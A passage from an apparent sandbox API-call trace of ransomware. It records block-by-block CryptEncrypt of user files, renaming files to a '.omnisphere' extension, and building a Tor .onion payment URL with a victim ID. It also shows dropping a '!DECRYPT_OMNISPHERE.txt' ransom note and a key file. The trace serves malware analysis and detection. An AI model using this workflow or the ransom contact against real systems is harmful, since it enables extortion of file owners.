pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.657] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.660] CryptDestroyKey (hKey=0x16397a8) returned 1 [0163.660] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0163.660] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x9924, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.660] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.661] GetProcessHeap () returned 0x1600000 [0163.661] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x264) returned 0x1772f28 [0163.661] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\gbtukd.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\gbtukd.gif.omnisphere")) returned 1 [0163.663] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif.omnisphere.id" [0163.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\gbtukd.gif.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.667] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.669] CloseHandle (hObject=0x3bc) returned 1 [0163.669] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.670] CloseHandle (hObject=0x380) returned 1 [0163.670] SetEndOfFile (hFile=0x39c) returned 1 [0163.671] FlushFileBuffers (hFile=0x39c) returned 1 [0163.728] CloseHandle (hObject=0x39c) returned 1 [0163.729] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\GbTUkD.gif" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.729] GetProcessHeap () returned 0x1600000 [0163.729] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1773198 [0163.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.729] GetProcessHeap () returned 0x1600000 [0163.729] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733428 [0163.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733428, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.730] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.730] GetProcessHeap () returned 0x1600000 [0163.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f4e0 [0163.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f4e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.730] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.730] GetProcessHeap () returned 0x1600000 [0163.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164d2e0 [0163.730] PathCombineW (in: pszDest=0x164d2e0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.730] GetProcessHeap () returned 0x1600000 [0163.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1770f38 [0163.730] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.731] WriteFile (in: hFile=0x39c, lpBuffer=0x1770f38*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1770f38*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.731] CloseHandle (hObject=0x39c) returned 1 [0163.733] GetProcessHeap () returned 0x1600000 [0163.733] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1773198 | out: hHeap=0x1600000) returned 1 [0163.733] GetProcessHeap () returned 0x1600000 [0163.733] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a0a0 [0163.733] PathCombineW (in: pszDest=0x163a0a0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.734] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.734] CloseHandle (hObject=0x39c) returned 1 [0163.734] GetProcessHeap () returned 0x1600000 [0163.734] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a0a0 | out: hHeap=0x1600000) returned 1 [0163.734] GetProcessHeap () returned 0x1600000 [0163.734] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d358 | out: hHeap=0x1600000) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c972e40, ftCreationTime.dwHighDateTime=0x1d4cdea, ftLastAccessTime.dwLowDateTime=0xd023cf20, ftLastAccessTime.dwHighDateTime=0x1d4c963, ftLastWriteTime.dwLowDateTime=0xd023cf20, ftLastWriteTime.dwHighDateTime=0x1d4c963, nFileSizeHigh=0x0, nFileSizeLow=0xdef9, dwReserved0=0x0, dwReserved1=0xf5, cFileName="h JWuZ SUzT 6.wav", cAlternateFileName="HJWUZS~1.WAV")) returned 1 [0163.735] GetProcessHeap () returned 0x1600000 [0163.735] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x62) returned 0x163a3b0 [0163.735] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="h JWuZ SUzT 6.wav" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav") returned="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav" [0163.735] StrStrW (lpFirst=".omnisphere", lpSrch=".wav") returned 0x0 [0163.735] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\h jwuz suzt 6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.735] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=57081) returned 1 [0163.736] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xd9d5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.736] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.736] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] GetTickCount () returned 0x1168a94 [0163.737] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668f88) returned 1 [0163.738] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16396a8) returned 1 [0163.738] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.739] CryptDestroyKey (hKey=0x16396a8) returned 1 [0163.739] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0163.739] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdef9, lpName=0x0) returned 0x380 [0163.739] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdef9) returned 0x1480000 [0163.739] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668570) returned 1 [0163.740] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16396a8) returned 1 [0163.740] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.740] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.740] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.740] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.740] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.740] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.740] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.740] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.741] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: 